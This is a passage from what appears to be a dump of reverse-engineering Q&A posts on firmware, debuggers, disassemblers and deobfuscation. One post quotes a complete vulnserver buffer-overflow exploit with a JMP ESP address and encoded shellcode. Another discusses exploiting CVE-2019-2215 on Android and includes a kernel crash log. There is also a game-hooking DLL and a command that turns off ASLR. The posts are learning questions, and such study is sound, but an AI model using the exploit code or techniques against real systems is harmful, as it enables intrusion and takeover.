recording limit. However, it seems like they did a great job of encrypting the firmware. +You can download the .bin firmware file here. +I tried Binwalk, but the output only shows one entry, which might be a false positive: +
DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+26453361      0x193A571       gzip compressed data, has header CRC, has 28967 bytes of extra data, last modified: 2052-10-14 16:14:25 (bogus date)
+
+I tried extracting that, but gunzip only reports that the header checksum is not equal to the computed checksum. So could still be a false positive. +I also tried to plot out the entropy of the firmware: + +Seems encrypted to me? Next step was to check if I could read any hints of the basic strings command: +
MC471
+panasonic
+MC471
+loader1
+loader2
+loader3
+program
+storage
+postboot1
+postboot2
+postboot3
+postboot4
+postboot5
+dram_sleep
+eep_ow_a
+eep_ow_b
+eep_adj
+eep_fix
+music
+osdover
+osddata
+koutei_kao
+avchd_info
+eep_net_a
+eep_net_b
+eep_act_a
+eep_act_b
+zboot
+zimage
+rootfs1
+rootfs2
+apu0_data_i
+apu0_data_e
+apu0_code_i
+apu0_code_e
+usbcharge
+ipu_data
+ipu_code
+rc_data
+rc_code
+nr_data
+nr_code
+hm_c_prog
+
+Seems like zboot is the bootloader? +Since I'm still pretty new, are there any hints on how I could progress on this? I really hope it's not cracking open the camera and trying to debug any hardware ROM which stores the keys! +" +"['gdb', 'mips', 'qemu']"," Title: GDBserver on Qemu not honoring ""follow-fork-mode child""Body: I am using gdb-multiarch version 9.1 on Ubuntu to connect to a qemu-mipsel-static version 4.2.0 running a MIPS application which daemonizes itself with fork(), and which is running the built-in gdbserver. Here is the relevant GDB output: +
Breakpoint 5, 0x7f5bb874 in daemon () from ./lib/libc.so.0
+
+The next instruction is jalr to fork +
(gdb) si
+0x7f5738e0 in fork () from ./lib/libc.so.0
+
+Now we are in fork(), let's check the state of follow-fork-mode +
(gdb) show follow-fork-mode 
+Debugger response to a program call of fork or vfork is "child".
+
+Everything looks good, let's finish the function and check our return value +
(gdb) finish
+Run till exit from #0  0x7f5738e0 in fork () from ./lib/libc.so.0
+0x7f5bb87c in daemon () from ./lib/libc.so.0
+(gdb) p $v0
+$7 = 119052
+(gdb) # what
+
+The PID indicates we are still attached to the parent process +" +"['assembly', 'ghidra']"," Title: I want to insert instructions but don't have enough space to do soBody: Sorry if it is a very basic question/bad place to ask/for my bad english. +I'm using Ghidra to patch instructions inside the binary of a game. Most of the time I could find some undefined bytes somewhere where I could jump to and insert the new instructions, then jump back to where I was. But it turns out I now need more space than what is available as undefined memory in the program. I've tried to add some bytes at the end of the project inside Ghidra but it doesn't seem possible at all (only editing is possible?), can someone confirm this? +I feel like I could probably add those bytes manually inside the executable with HexEdit, then reimport the exe inside Ghidra and reanalyze it, but it sounds like bad practice? +I'm interested in knowing how people usually go about this since I'm still a beginner and I'm eager to learn. Thanks. +" +"['disassembly', 'windows', 'python', 'stack']"," Title: reason of padding in exploitBody: I was doing vulnserver bufferflow exploit. I saw a tutorial where the he makes a payload to exploit the server. +Take a look at the exploit: +
#!/usr/bin/python
+
+import socket
+
+
+target_ip = "10.0.2.4"
+
+port = 9999
+
+
+shellcode =  ""
+shellcode += "\xda\xcd\xbf\x6f\x21\x1b\xab\xd9\x74\x24\xf4\x58\x2b"
+shellcode += "\xc9\xb1\x52\x31\x78\x17\x83\xc0\x04\x03\x17\x32\xf9"
+shellcode += "\x5e\x1b\xdc\x7f\xa0\xe3\x1d\xe0\x28\x06\x2c\x20\x4e"
+shellcode += "\x43\x1f\x90\x04\x01\xac\x5b\x48\xb1\x27\x29\x45\xb6"
+shellcode += "\x80\x84\xb3\xf9\x11\xb4\x80\x98\x91\xc7\xd4\x7a\xab"
+shellcode += "\x07\x29\x7b\xec\x7a\xc0\x29\xa5\xf1\x77\xdd\xc2\x4c"
+shellcode += "\x44\x56\x98\x41\xcc\x8b\x69\x63\xfd\x1a\xe1\x3a\xdd"
+shellcode += "\x9d\x26\x37\x54\x85\x2b\x72\x2e\x3e\x9f\x08\xb1\x96"
+shellcode += "\xd1\xf1\x1e\xd7\xdd\x03\x5e\x10\xd9\xfb\x15\x68\x19"
+shellcode += "\x81\x2d\xaf\x63\x5d\xbb\x2b\xc3\x16\x1b\x97\xf5\xfb"
+shellcode += "\xfa\x5c\xf9\xb0\x89\x3a\x1e\x46\x5d\x31\x1a\xc3\x60"
+shellcode += "\x95\xaa\x97\x46\x31\xf6\x4c\xe6\x60\x52\x22\x17\x72"
+shellcode += "\x3d\x9b\xbd\xf9\xd0\xc8\xcf\xa0\xbc\x3d\xe2\x5a\x3d"
+shellcode += "\x2a\x75\x29\x0f\xf5\x2d\xa5\x23\x7e\xe8\x32\x43\x55"
+shellcode += "\x4c\xac\xba\x56\xad\xe5\x78\x02\xfd\x9d\xa9\x2b\x96"
+shellcode += "\x5d\x55\xfe\x39\x0d\xf9\x51\xfa\xfd\xb9\x01\x92\x17"
+shellcode += "\x36\x7d\x82\x18\x9c\x16\x29\xe3\x77\x13\xae\xe9\x82"
+shellcode += "\x4b\xac\xed\xaf\xa2\x39\x0b\xc5\xa4\x6f\x84\x72\x5c"
+shellcode += "\x2a\x5e\xe2\xa1\xe0\x1b\x24\x29\x07\xdc\xeb\xda\x62"
+shellcode += "\xce\x9c\x2a\x39\xac\x0b\x34\x97\xd8\xd0\xa7\x7c\x18"
+shellcode += "\x9e\xdb\x2a\x4f\xf7\x2a\x23\x05\xe5\x15\x9d\x3b\xf4"
+shellcode += "\xc0\xe6\xff\x23\x31\xe8\xfe\xa6\x0d\xce\x10\x7f\x8d"
+shellcode += "\x4a\x44\x2f\xd8\x04\x32\x89\xb2\xe6\xec\x43\x68\xa1"
+shellcode += "\x78\x15\x42\x72\xfe\x1a\x8f\x04\x1e\xaa\x66\x51\x21"
+shellcode += "\x03\xef\x55\x5a\x79\x8f\x9a\xb1\x39\xaf\x78\x13\x34"
+shellcode += "\x58\x25\xf6\xf5\x05\xd6\x2d\x39\x30\x55\xc7\xc2\xc7"
+shellcode += "\x45\xa2\xc7\x8c\xc1\x5f\xba\x9d\xa7\x5f\x69\x9d\xed"
+
+payload ="TRUN /.:/"
+payload += 2003 * "A" #junk
+payload += "\xc7\x11\x50\x62" # 0x625011c7 -> JMP ESP
+payload += 40 * "\x90" #nopsled
+payload += shellcode
+payload += (5009 - len(payload)) * "C"
+
+
+try:
+        
+    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    s.connect((target_ip,port))
+    s.send(payload)
+    print "[+] " + str(len(payload)) + " Bytes Sent"
+    
+except:
+    print "[-] Crashed"
+
+I can clearly understand that he made a padding("A"*2003) to overwrite the stack. but I didn't understand the arithmetic operation he did in the following line. +
payload += (5009 - len(payload)) * "C"
+
+why does he have to do this. exploit is working without it. what is 5009 here? +Please tell me if you know. by the way, Article--> HERE +" +"['pe', 'section']"," Title: ""unknown publisher"" after adding new PE sectionBody: I'm starting to learn about reverse engineering and I'm currently encountering a problem with a game I'm trying to patch. I needed more space to insert instructions in my program so I followed the method described here: https://stackoverflow.com/questions/35685589/how-do-i-make-space-for-my-code-cave-in-a-windows-pe-32bit-executable and added a new section where I could put my new instructions. Then when I run the program, the instructions are properly executed, no crash happening. +My issue is that when I'm launching the game, I get a popup asking if I want to "allow this app from an unknown publisher to make changes to your device", which is annoying. If I display the "Details" tab in the properties of the file, most of the information (such as File Description, File version...) are missing when they were there before the patch. Is it an expected consequence of adding a new section at the end of the executable? It looks like those information are inside the .rsrc section. +And is there something I can do to fix it so I don't get the popup? +" +"['disassembly', 'windows', 'linux', 'stack']"," Title: ASLR in Linux Vs WindowsBody: I am quite new in binary exploitation. I am doing a lot of beginners exercise here. I am confused about ASLR. I tried some binary exploitation thing in Linux. It was recommended that I should stop ASLR in Linux before analyzing the binary. +it is the command for that --> echo 0 > /proc/sys/kernel/randomize_va_space +Am I right here? am I turning off my ASLR (randomizing stack addresses)? +But When I did the Windows 10 binary exploitation(vulnserver). I had to put my payload into stack address. And I noticed that the stack address (jmp esp) was constant, not changing. +Is ASLR works differently in various OS? +I don't know If I am asking a write question. please tell me if you know. +" +['firmware']," Title: Determine firmware MCU from binary imageBody: Tough problem - trying to reverse engineer a CANBUS controller for which I can download firmware (as far as I can tell, binary image, not ELF) but I dont know what MCU it uses. binwalk, r2 dont give me anything useful. Binwalk opcodes match mipsel but function signatures is garbage. +What can I do to determine MCU from firmware? +" +"['ida', 'x86', 'idapython']"," Title: Can I use python3 with IDA 7.0?Body: Got IDA Pro 7.0 (I can't update at the moment), +I'm currently unable to use idapython. +I have python3.8 installed on my machine and nothing else (I dont want any collisions). +How can I use make Idapython work without having only 2.7 installed. +" +"['windows', 'malware', 'anti-debugging', 'pe32', 'virtual-memory']"," Title: Why does PE ImageBase address change in memory?Body: I'm reversing a malicious 32-bit x86 Windows executable. Statically reviewing PE headers in Ghidra, I see that ImageBase is set to 0x400000 as expected. However, when the binary is loaded into memory, the initial RVA does not match the ImageBase defined in the file. For example, I have seen the in-memory base address set to 0x4B0000 and 0x900000. This behavior occurs on a clean VM, and when debugging with Immunity and x32dbg as well as IDA Free. +My understanding is that the Windows loader reads ImageBase and uses that offset to begin mapping sections into virtual address space. Because system code handles loading, and my system is clean upon first execution, my assumption is that the unusual ImageBase is a symptom of a loader nuance rather than tampering. I've never encountered this scenario and would appreciate any insights. +MD5: 1f63d04ee95ea041f2f6b1e818d94a7c +SHA1: 823ad6abb05f2393c44cf4b7f1d00e32ac04d1d1 +
+ImageBase set to 0x400000 when viewing PE headers in Ghidra: + +
+ImageBase in memory-mapped PE header (0x4B0000) does not match ImageBase set in static file: + +
+PE sections mapped into memory with ImageBase at 0x4B0000 + +" +"['javascript', 'networking']"," Title: What browser do during initial web page request?Body: I am trying to understand why if I do fetch() 4 times on the active web page, after the fifth fetch server returns response that I am a "robot" +I am using google chrome +I go the following link: tickets selling site (might not open in non US countries). From the 'network' tab I 'copy as fetch' that very first request and paste it to the console and execute it + + +after doing so 5 times, I start receiving "robots" response +This is a good response: + +this is a "robot" response: + +And after that all requests made by the site itself return the same "robots" response everytime. But refreshing the page/opening new page, resets everything and I can send those requests again. +My question is: how can I understand what happens when I open browser page? What happens that the server starts returning good responses again after I refresh the page? +I was trying to drop cookies, but this didnt help. +The code I use to send request: +
fetch("https://ticketswestinw.evenue.net/cgi-bin/ncommerce3/SEGetEventInfo?ticketCode=GS%3ATWC%3AEARN20%3AEARN0807%3A&linkID=twcorp&shopperContext=&pc=&caller=&appCode=&groupCode=ARNBSB&cgc=&dataAccId=883&locale=en_US&siteId=ev_twcorp", {
+  "headers": {
+    "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
+    "accept-language": "en-US,en;q=0.9",
+    "cache-control": "max-age=0",
+    "sec-fetch-dest": "document",
+    "sec-fetch-mode": "navigate",
+    "sec-fetch-site": "same-origin",
+    "sec-fetch-user": "?1",
+    "upgrade-insecure-requests": "1"
+  },
+  "referrer": "https://ticketswestinw.evenue.net/cgi-bin/ncommerce3/SEGetEventInfo?ticketCode=GS%3ATWC%3AEARN20%3AEARN0807%3A&linkID=twcorp&shopperContext=&pc=&caller=&appCode=&groupCode=ARNBSB&cgc=&dataAccId=883&locale=en_US&siteId=ev_twcorp",
+  "referrerPolicy": "no-referrer-when-downgrade",
+  "body": null,
+  "method": "GET",
+  "mode": "cors",
+  "credentials": "include"
+}).then(x => x.text().then(y => console.log(y)));
+
+" +"['encryption', 'encodings']"," Title: Trying to decode the Ontario Driver's License #Body:
**The Ontario Driver's License follows the below format:**
+
+LXxxx-FFFMY-YMMDD +Where: + +I still have not found where B,I,O,U,V, or X falls on this chart. If you know anyone whose middle name starts with one of these letters please ask them what the 9th digit of their license is, this will give you that specific value for the chart. Also, I will mention that if a license has no middle name, the 9th digit is always a 0. +I guess at this point I am looking for some additional direction on how digits 3-8 are calculated using an actual formula instead of tracking all possible outcomes as I come across them. +On a side note if anyone needs some explanation on how to decode Quebec License #'s I have some additional information available. +Thanks ahead of time! if +" +"['disassembly', 'firmware', 'arm', 'disassemblers', 'firmware-analysis']"," Title: How to determine ARM architecture from the ELF file extracted from the firmware?Body: I have extracted the ELF file from the flash dump of a printer, I cannot find too much information about the SoC chip on the printer. What's the best practice to determine the ARM architecture (ARMv7-R, ARMv7-M, ARMv7-A) from the ELF file? It would be even better if I can figure out the ARM core type. I suppose I can look for some patterns or some specific instructions to make an informed guess, but I don't really have any idea. +The ELF file contained in the flash dump is compressed and somewhat non-standard, I actually decompressed it, did some modifications, and added the program header table by myself. +I know tools like readelf and binwalk -A, but what I want to know is not a very broad ARM32 or ARM64 categorization but the specific ARM architecture, or even better, the specific ARM core type. Because I am not even sure if the chip used on the printer is an ARM Cortex A/R or M series. I cannot find a Linux on the printer, so it's probably not a Cortex-A. +" +"['disassembly', 'c', 'buffer-overflow']"," Title: Buffer space in CBody: I was wondering if there is some way to get information about buffer size via reversing the binary, created in C language. can we also know how many buffers we have created while writing that script. +I am doing Vulserver Excercise. check it out here on this article--> [Article][1] +want to know if the commands have buffer size to store given arguments. +[1]: https://captmeelo.com/exploitdev/osceprep/2018/06/28/vulnserver-gter.html +" +"['symbols', 'mach-o']"," Title: otool , nm, dsdump and jtool not able to list mach-o binary's symbolsBody: I have encountered this twice recently where I am trying to list the external symbols for an iOS mach-o binary and none of the tools can provide any output. The following is an example of the output from jtool: +
jtool -S BinaryName -arch arm64
+             U 
+             U 
+             U 
+             U 
+             U 
+             U 
+             U 
+             U 
+
+This particular binary was a fat binary hence having to pass it the arch but I also tried thinning it and running the command on just the arm64. The previous binary I had encountered this was not a fat binary though. Unfortunately I can't actually share either of the binaries, which I appreciate makes it harder to answer, as they are from a client. +I thought I had a reasonable understanding of the mach-o format although very inexperienced reversing. +I don't know if this is a trick I'm not aware of, how are these symbols resolved at runtime if they can't be parsed by any of these tools? Is there a way to "undo" this and list the symbols normally without running the binary? +" +"['deobfuscation', '.net', 'c#']"," Title: Deobfuscating Unknown C# obfuscator?Body: Hello, +I am having an exe file that I am trying to deobfuscate and debug using dnspy. The exe file was written in C# and obfuscated with unknown deobfuscate according to de4dot! I tried to all my known methods to procced but still I was not able to fully deobfusticated it. +
+

Analysing the File

+

- Exeinfo PE

+I tried to analysie the file with exeinfope to check which obfustactor was used but I only got [obfus/crypted]. +Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 [ Obfus/Crypted- StrongName set ] - EP Token : 06000080 , +Overlay : 403900... Nothing discovered + +

- Dnspy

+Opening the file in dnspy but the code wasn't readable, especially the methods and the functions name are in unicode form. + +
+

My Attempts:

+
    +
  1. Tried to deobfustace the file with de4dot, but I get "Detected Unknown Obfuscator" followed by an error.
  2. +
  3. Tried a modded version of de4dot, and I was able to deobfustacte the exe,but all functions shown as "delegate". The exe file was detected as "Unkown Obfustactor" as well, but managed to cleaned it. +
  4. +
  5. Tried to debug the cleaned verison but when I start dnspy I get an exception (System.NullReferenceException) +
  6. +
+
+

My Questions:

+
    +
  1. Which obfustactor was used ?
  2. +
  3. Why all functions are defined as "delgate"?
  4. +
  5. Why did I get the null exception while debugging
  6. +
+Thanks... +
+

UPDATE 20/08/2020

+While looking through the code, I found that all "delegate" calls are referred to a function which takes an intger but I couldn't find any obvious return from this function, what I do think it returns the function and method name but... HOW!! + + +" +"['assembly', 'binary-analysis']"," Title: What should I learn in order to reverse elf64 binary filesBody: I'm a little confused. I am using a Linux based system (Ubuntu), 64-bit. and I want to start and reverse 64elf binary files, but there is a lot of things I want to know before. just to be clear, If I have 64bit computer, I need to learn x64 assembly? What's the best assembler for my platform (I'm currently using nasm)? +The reason I'm asking that is because I don't want to learn assembly in the wrong way, which will not help me. +
+By the way, is learning this tutorial is good for my platform? +" +['android']," Title: Can't CVE-2019-2215 on Android: ""Unable to handle kernel paging request at virtual address""Body: I'm playing with Android and I'm trying to gain r/w access to the whole memory using CVE-2019-2215. Long story short, you UAF a binder_thread object and you can read from/write to kernel space. +The first step, getting task_struct, works as expected but overwriting addr_limit doesn't. The error Unable to handle kernel paging request at virtual address and the fact that other people on other devices can perform this makes me think there's something else behind that problem. +I get this kernel panic: +
[  400.258967] Unable to handle kernel paging request at virtual address fffffffffffffffe
+[  400.258997] pgd = ffffffe55194e000
+[  400.259007] [fffffffffffffffe] *pgd=00000000d194f003, *pud=00000000d194f003, *pmd=0000000000000000
+[  400.259146] ------------[ cut here ]------------
+[  400.259152] Kernel BUG at ffffff80e9b9cbc4 [verbose debug info unavailable]
+[  400.259159] Internal error: Oops - BUG: 96000005 [#1] PREEMPT SMP
+[  400.259167] Modules linked in: wlan(O) exfat(O)
+[  400.259203] CPU: 2 PID: 6877 Comm: cve-2019-2215 Tainted: G        W  O    4.4.78-perf+ #1
+[  400.259210] Hardware name: Qualcomm Technologies, Inc. SDM 636 PM660 + PM660L MTP E7S (DT)
+[  400.259217] task: ffffffe5f84d0d80 ti: ffffffe551910000 task.ti: fffffffffffffffe
+[  400.259235] PC is at n_tty_write+0x168/0x3e8
+[  400.259242] LR is at n_tty_write+0xa4/0x3e8
+[  400.259248] pc : [<ffffff80e9b9cbc4>] lr : [<ffffff80e9b9cb00>] pstate: 60400145
+[  400.259253] sp : ffffffe551913c70
+[  400.259258] x29: ffffffe551913c70 x28: ffffffe551910000 
+[  400.259268] x27: ffffffe51f344230 x26: ffffff80ea687000 
+[  400.259278] x25: ffffffe5dcdda200 x24: ffffffe51f341c00 
+[  400.259287] x23: ffffffe51f3440d8 x22: ffffff80e96eb000 
+[  400.259297] x21: ffffffe51f341c00 x20: 0000000000000008 
+[  400.259312] x19: ffffffe51f344000 x18: fca83dec72c82c59 
+[  400.259325] x17: 00000070696c35c8 x16: ffffff80e97cd198 
+[  400.259334] x15: 0000007fc1ea0b58 x14: 00000000ffffffff 
+[  400.259344] x13: 0000000000000000 x12: 0000007fc1ea0bb8 
+[  400.259353] x11: 0000000000000000 x10: ffffff80ebe9b848 
+[  400.259362] x9 : 0000000000000018 x8 : ffffff80ebe9b000 
+[  400.259371] x7 : ffffffdb80000000 x6 : ffffffe51f341c08 
+[  400.259380] x5 : ffffffe51f341c08 x4 : 0000000000000000 
+[  400.259391] x3 : 0000000000000140 x2 : 00000000000000b8 
+[  400.259409] x1 : ffffffe551910000 x0 : fffffffffffffffe 
+[  400.259420] 
+[  400.259420] PC: 0xffffff80e9b9cb84:
+[  400.259426] cb84  b4000061 aa1303e0 d63f0020 b40011b4 b9404320 375811a0 aa1703e0 97ed6d39
+[  400.259456] cba4  910203a0 52800021 92f00002 97ed3cda aa1703e0 94275ce6 f9400b80 f9400400
+[  400.259482] cbc4  f9400000 37000f60 aa1903e0 97ffeadc 35000f40 f9410e60 b4000060 b941e800
+[  400.259509] cbe4  34000ec0 b9413660 36000b00 b4fffc74 f9414276 91400ac4 910ac09a aa1a03e0
+[  400.259540] 
+[  400.259540] LR: 0xffffff80e9b9cac0:
+[  400.259546] cac0  b9413c02 f9004bb5 f9003fa1 37400262 91036277 9108c27b aa1703e0 f000575a
+[  400.259577] cae0  aa1803f5 94275d1b aa1303e0 d538411c 97fffeda aa1b03e0 910203a1 97ed3b74
+[  400.259603] cb00  b0005500 91302000 f9003ba0 9108c340 f90037a0 1400002a f9401721 f9400c22
+[  400.259629] cb20  90ffffe1 9139c021 eb01005f 54fffd20 97fff30a 93407c1a b4fffcda 140000b4
+[  400.259657] 
+[  400.259657] SP: 0xffffffe551913c30:
+[  400.259663] 3c30  e9b9cb00 ffffff80 51913c70 ffffffe5 e9b9cbc4 ffffff80 60400145 00000000
+[  400.259691] 3c50  1f344000 ffffffe5 00000008 00000000 00000000 00000080 e9b9cae8 ffffff80
+[  400.259718] 3c70  51913d20 ffffffe5 e9b98ddc ffffff80 1f344000 ffffffe5 00000000 00000000
+[  400.259757] 3c90  00000008 00000000 00000008 00000000 dcdda200 ffffffe5 69230000 00000070
+[  400.259782] 
+[  400.259788] Process cve-2019-2215 (pid: 6877, stack limit = 0xffffffe551910028)
+[  400.259794] Call trace:
+[  400.259803] Exception stack(0xffffffe551913a80 to 0xffffffe551913bb0)
+[  400.259812] 3a80: ffffffe51f344000 0000008000000000 0000000082b33000 ffffff80e9b9cbc4
+[  400.259821] 3aa0: 0000000060400145 ffffffe5f4005000 ffffffe551913ad0 ffffff80ea460dcc
+[  400.259829] 3ac0: ffffffe551913b10 ffffff80e97ba680 0000000000000000 ffffffe5f9403c00
+[  400.259837] 3ae0: ffffffe551910000 0000000000000000 ffffffbe57b3d700 000000000004cbc2
+[  400.259845] 3b00: ffffffe551910000 0000000000000000 ffffffe551913c30 ffffff80e97ba950
+[  400.259852] 3b20: ffffffbe57b3d700 ffffffe5ecf5d800 ffffffe551910000 953d5989c78ca9ec
+[  400.259859] Unable to handle kernel NULL pointer dereference at virtual address 00000022
+[  400.259863] pgd = ffffffe5619b1000
+[  400.259867] [00000022] *pgd=00000000e409f003, *pud=00000000e409f003[  400.259872] 3b40: fffffffffffffffe ffffffe551910000 00000000000000b8 0000000000000140
+[  400.259877] 3b60: 0000000000000000 ffffffe51f341c08 ffffffe51f341c08 ffffffdb80000000
+[  400.259882] 3b80: ffffff80ebe9b000 0000000000000018 ffffff80ebe9b848 0000000000000000
+[  400.259886] 3ba0: 0000007fc1ea0bb8 0000000000000000
+[  400.259895] [<ffffff80e9b9cbc4>] n_tty_write+0x168/0x3e8
+[  400.259901] [<ffffff80e9b98ddc>] tty_write+0x1d4/0x268
+[  400.259913] [<ffffff80e97cbf30>] __vfs_write+0x38/0xfc
+[  400.259920] [<ffffff80e97cc848>] vfs_write+0xac/0x16c
+[  400.259926] [<ffffff80e97cd1ec>] SyS_write+0x54/0xa4
+[  400.259936] [<ffffff80e9683170>] el0_svc_naked+0x24/0x28
+[  400.259942] Code: aa1703e0 94275ce6 f9400b80 f9400400 (f9400000) 
+
+I tried changing 0xfffffffffffffffe to something lower but that didn't work. I also looked at n_tty_write. +It looks like the crash comes from something in this loop: https://elixir.bootlin.com/linux/v4.4.78/source/drivers/tty/n_tty.c#L2352 +The n_tty_write+0x168 corresponds to this instruction(859cbc4 asm left, C line 45 from Ghidra right) +I tried digging further but it's taking a huge amount of time, I'd really appreciate any tips from more experienced people. +" +"['hardware', 'game-hacking']"," Title: Trying to edit the source code of AOC monitorBody: So long story short the AOC monitor comes with a G-Menu gui that lets you customize different monitor features. One specific one I am interested in is the "Dial Point" setting. Where it overlays a red circle cross hair over the middle of the screen. I am trying to figure out how to reverse engineer through the code to find the img or code variables for the Dial Point cross hair so I can remove this obtrusive red circle they put over it. Ive tried opening the .dll files in visual studio then I tried dotPeek to see if I could use that I feel like im getting closer to a solution but as of right now im kinda worried im going in circles and dont want to waste too much time on this. Ive never really reverse engineered the code of a monitor so I dont really know where to start. Im a CS student so I know how to code a fair bit at this point but if I cant find the source code of what im looking for then I cant edit it. Any help is appreciated. +" +"['c', 'angr']"," Title: How to restrict angr to printable charactersBody: I have a binary that scanfs and then does some checks and returns either FAIL or SUCCESS that has SUCCESS for multiple inputs. Although only one of the inputs has only printable characters. How do I restrict angr to work with only printable characters entered into the scanf? +
import angr
+
+def main():
+    proj = angr.Project('a.out')
+    init_state = proj.factory.entry_state()
+    simulation = proj.factory.simgr(init_state)
+    simulation.explore(find=lambda s: b"SUCCESS\n" in s.posix.dumps(1))
+    
+    for solution in simulation.found:
+        print(solution.posix.dumps(0), solution.posix.dumps(1))
+
+if __name__ == '__main__':
+    main()
+
+This gives me an output containing a lot of unprintable \xDD where DD is a hex number. Can I restrict angr to use only printable characters when exploring and how; or how do I prevent angr from stopping after it finds one solution to get to the SUCCESS message. Currently although there are multiple solutions it finds one and only ONE. +" +"['disassembly', 'c++', 'function-hooking', 'dll-injection', 'hooking']"," Title: Crash after hook a functionBody: I have hooked a sound function that work within the game menu after, when the battle start, the game will crash. +The function at the first parameter get correctly the sound file name, before the battle begin. +If the function 'HookSum' is empty the game work without any crash. +The line: +
//
+std::cout << "your program has been hacked! " << std::endl;
+//
+
+don't cause the crash, but If I insert any other line of code for example: +
//
+std::string StrFileName;
+StrFileName = "test";
+//
+
+the game crash. So at this point I can't hook nothing, becouse I can't insert any code inside the hooked function. +Someone can please explain why the game crash ? +Follow the full code. +
#include <Windows.h>
+#include <iostream>
+
+#include "detours.h"
+#include "sigscan.h"
+
+
+
+DWORD AddressOfSum = 0;
+
+
+typedef void(*sum) (char *a1, int a2, int a3, int a4);
+
+void HookSum(char *a1, int a2, int a3, int a4)
+{
+
+    std::cout << "your program has been hacked! " << std::endl;
+
+    std::string StrFileName;
+    StrFileName = "test";
+
+    sum originalSum = (sum)AddressOfSum;
+    return originalSum(a1,a2,a3,a4);
+
+    // MessageBoxA(0, a1, "MsgTitle", MB_OK | MB_ICONQUESTION);
+
+    // return;
+}
+
+
+
+
+
+
+
+
+
+
+
+
+
+BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
+{
+    // store the address of sum() in testprogram.exe here.
+
+    if (dwReason == DLL_PROCESS_ATTACH)
+    {
+        // We will use signature scanning to find the function that we want to hook
+        // we will find the function in IDA pro and create a signature from it:
+
+        SigScan Scanner;
+
+        AddressOfSum = Scanner.FindPattern("bzone.exe", "\x55\x8B\xEC\x51\x83\x3D\x94\x55\x91", "xxxxxxxxx"); // BattleZoneRedux 43AA30
+
+
+        DetourTransactionBegin();
+        DetourUpdateThread(GetCurrentThread());
+
+        // this will hook the function
+        DetourAttach(&(LPVOID&)AddressOfSum, &HookSum);
+
+        DetourTransactionCommit();
+    }
+    else if (dwReason == DLL_PROCESS_DETACH)
+    {
+        // unhook
+        DetourTransactionBegin();
+        DetourUpdateThread(GetCurrentThread());
+
+        // this will hook the function
+        DetourDetach(&(LPVOID&)AddressOfSum, &HookSum);
+
+        DetourTransactionCommit();
+    }
+    return TRUE;
+} 
+
+" +"['assembly', 'ollydbg', 'disassemblers', 'decompile', 'immunity-debugger']"," Title: what means ""ilegal use of registers""?Body: I read pe program using a Pe Reader to view all sections, the .text section starts is "0x0001000": +What is in the pe program reader: + +And is this what i see on the debugguer : + +" +"['windows', 'decompilation', 'ghidra']"," Title: Ghidra is mishandling a field accessBody: I have a program which decompiles in Ghidra to include the line +
temp_5f2f2f81bc = *(CPedIntelligence **)(&DAT_000010c0 + (longlong)pCVar2);
+
+temp_5f2f2f81bc is a CPedIntelligence*. pCVar2 is a CPed*, and CPed has a CPedIntelligence* located at offset 0x10c0. So this should decompile as temp_5f2f2f81bc = pCVar2->intelligence;. Is there a way to tell Ghidra "no, pCVar2 should not be cast to longlong?" +I've noticed this occurring other times as well, and it generally seems to be associated with a structure stored in a register (here, pCVar2 is stored in R13). In the function's local variables, though, pCVar2 is listed as being stored in HASH:5f32eb8... The register is never used in the function except as the storage for this CPed*, so if I could forcibly tell the decompiler "this register has this type throughout the entire function" then that'd help. I tried using scripting to create a local variable stored in R13, but the decompiler didn't pick up on it. +" +"['disassembly', 'windows', 'assembly', 'windbg']"," Title: Trying to reverse engineer CmpFindNlsData of winloadBody: I have a basic understanding of assembly language and I'm unable to perfectly define the algorithm of winload!CmpFindNlsData looking at the disassembly. Basically I need to understand how NLS data is loaded when Windows boots up. I have been able to figure out the algorithm to this point. +
CmpFindNlsData
+{
+HvpGetCellPaged();
+push offset winload!CmpControlString
+CmpFindSubkeyByNameWithStatus();
+HvpReleaseCellPaged();
+
+HvpGetCellPaged();
+offset winload!CmpNlsString
+CmpFindSubkeyByNameWithStatus();
+HvpReleaseCellPaged();
+
+HvpGetCellPaged();
+offset winload!CmpCodePageString
+CmpFindSubkeyByNameWithStatus();
+HvpReleaseCellPaged();
+
+HvpGetCellPaged();
+offset winload!CmpAcpString
+CmpFindValueByName();
+HvpReleaseCellPaged();
+
+HvpGetCellPaged();
+offset winload!CmpOemCpString
+CmpFindValueByName();
+HvpReleaseCellPaged();
+
+HvpGetCellPaged();
+CmpValueToData();
+HvpReleaseCellPaged();
+
+HvpGetCellPaged();
+CmpFindValueByName();
+HvpReleaseCellPaged();
+
+HvpGetCellPaged();
+CmpValueToData();
+HvpReleaseCellPaged();
+
+HvpGetCellPaged();
+CmpFindValueByName();
+HvpReleaseCellPaged();
+
+HvpGetCellPaged();
+CmpValueToData();
+HvpReleaseCellPaged();
+
+HvpGetCellPaged();
+CmpFindValueByName();
+HvpReleaseCellPaged();
+
+HvpGetCellPaged();
+CmpValueToData();
+HvpReleaseCellPaged();
+}
+
+" +"['ida', 'idapython', 'ida-plugin']"," Title: Checking if a call is a API/Library call in IDApython?Body: I asked the question a while ago but found no answer so I'm trying my luck again +the only solution is this : +Finding all API calls in a function +but it doesn't work when the library call is a .NET library call, and it seems like it doesn't include calling to recognized staticley linked library calls that were recognized by flirt +basically i just want to check if a call instruction is a API/Library call or just a local function call +I already tried to use the GetOpType function but didnt work, both of the "local" calls and library calls will return 10 : +
void [mscorlib]System.Threading.Thread::Sleep(int32)
+10
+
+unsigned int8[] Loader.Nyan::AES_Decrypt(unsigned int8[] bytesToBeDecrypted)
+10 (LOCAL function)
+
+Currently I'm using regex as a dirty workaround to find library calls only if there is a [*] in the operand but there has to be a better way.. +as another work around I'm checking to see if the last byte of call is 0x0A or not, based on experience all the library calls have this byte at the end, not sure if its gonna work for all the calls or not +" +"['debugging', 'android', 'patch-reversing', 'wireshark', 'proxy']"," Title: capture traffic of an android appBody: I was trying to test and intercept traffic from an app developed on Rhodes open source framework, I setup a proxy with burp, and of course I have installed burp certificate on my device hence I can intercept other apps on my device but I am unable to see the traffic of the app in question - its link on burp suite instead the app works fine and connects to the remote server without even appearing any error related to certificate on the event Log of the burp suite. in reversing the app I concluded that it is using https protocol to connect to the server(would be happy to confirm it app link here). in my testing when I have installed the app in a Genymotion Emulator and burp suite set up to intercept traffic, can only see traffic going to 